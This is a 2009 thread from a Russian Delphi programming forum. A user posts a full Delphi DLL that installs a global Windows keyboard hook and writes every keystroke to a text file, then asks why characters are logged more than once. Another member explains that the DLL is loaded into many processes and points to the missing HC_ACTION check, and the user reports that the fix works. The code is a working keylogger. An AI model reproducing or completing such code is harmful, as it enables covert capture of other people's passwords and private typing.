Top.Mail.Ru
Мастера DELPHI, Delphi programming community Титульная страница Поиск, карта сайта Написать письмо 
| Новости | Поиск | FAQ | Статьи | Книги | Новости VCL |
| Форумы ЧАТ | Орешник | KOL и MCK |
Форумы -» Основная («Начинающим»)/ Базы / WinAPI / Компоненты / Сети / Media / Игры / Corba и COM / KOL / FreePascal / .Net / Прочее / RSDN.ORG

« предыдущая ветвь | форум | следующая ветвь »

Дублируются перехваченные с клавиатуры символы [WinXP]


Edward ©   (2009-09-17 12:01:00) 

Библиотека перехвата нажатия клавиш клавиатуры и печать их файл. Вопрос почему набераемые символы записываются в текстовый файл по несколько раз. Что не так сделал?
library SpyHook;
uses
 Messages,
 Windows,
 SysUtils
var
 HookHandle:hHook;
 ft:textfile;
function KeyboardProc(Code: Integer; wParam: WPARAM; lParam: LPARAM): integer; stdcall;
var
 KeyState1: TKeyBoardState;
 AryChar: array[0..1] of Char;
//  Count: Integer;

begin
//  Result:=CallNextHookEx(HookHandle, code, wParam, lParam);
 if code < 0 then begin Result:=CallNextHookEx(HookHandle, code, wParam, lParam); Exit; end
 else
//  if byte(LParam shr 24)<$80 then
 if lParam and $40000000 = 0 then
 begin
   try
     append(ft); //(пробуем открыть файл для добавления)
     GetKeyboardState(KeyState1);
     ToAscii(wParam, lParam, KeyState1, AryChar, 0);
     case wParam of 27: write(ft,' <ESC>');
                    18: write(ft,' <ALT>');
                    17: write(ft,' <CTRL>');
                    16: write(ft,' <SHIFT>');
                    20: write(ft,' <Caps Lock>');
                    8: write(ft,' <BackSpace>');
                    46: write(ft, '<DEL>');
                    45: write(ft, '<INS>');
                    36: write(ft, '<HOME>');
                    35: write(ft, '<END>');
                    38: write(ft, '<UP>');
                    40: write(ft, '<DOWN>');
                    37: write(ft, '<LEFT>');
                    39: write(ft, '<RIGHT>');
                    112: write(ft, '<F1>');
                    113: write(ft, '<F2>');
                    114: write(ft, '<F3>');
                    115: write(ft, '<F4>');
                    116: write(ft, '<F5>');
                    117: write(ft, '<F6>');
                    118: write(ft, '<F7>');
                    119: write(ft, '<F8>');
                    120: write(ft, '<F9>');
                    121: write(ft, '<F10>');
                    122: write(ft, '<F11>');
                    123: write(ft, '<F12>');
                    91: write(ft, '<Winwows>');
                    13: writeln(ft, '');
     else
       write(ft,AryChar[0]);
     end;
     closefile(ft);
   except
     Result:=CallNextHookEx(HookHandle, code, wParam, lParam);
     exit; {если не получается - выход}
   end;
 end;
 Result:=CallNextHookEx(HookHandle, code, wParam, lParam);
end;
procedure SetHook; stdcall; {установка ловушки}
begin
 HookHandle := SetWindowsHookEx(WH_KEYBOARD,KeyboardProc, hInstance, 0);
end;
procedure DelHook; stdcall; {удаление ловушки}
begin
 UnhookWindowsHookEx(HookHandle);
end;

exports
 SetHook, DelHook, SetHook2;
begin
 assignFile (ft, 'C:\Keyhook.txt');
end.


Edward   (2009-09-17 13:06:00) [1]

Спасибо!


Сергей М.   (2009-09-17 13:03:00) [2]


> Code = HC_ACTION


Да, это условие, разумеется, обязательно должно быть проверено.

http://wasm.ru/article.php?article=1001024


Edward   (2009-09-17 12:36:00) [3]

Если честно, то не очень понял - каким образом в системе существует множество экземпляров. Но методом научного тыка угадал, что в нужно написать так:
 if (lParam and $40000000 = 0) and (Code = HC_ACTION) then
вместо просто
(lParam and $40000000 = 0) и это заработало.

Если не сложно скинь ссылку или коротенько о "одновременно существуют множество экземпляров этой DLL".


Сергей М.   (2009-09-17 12:11:00) [4]

Ты осознаешь, что после установки хука в системе одновременно существуют множество экземпляров этой DLL ?

И каждая из них вправе пытаться писать в файл, если система сочтет нужным вызвать ф-цию KeyboardProc..


Наверх

Титульная страница Поиск, карта сайта Написать письмо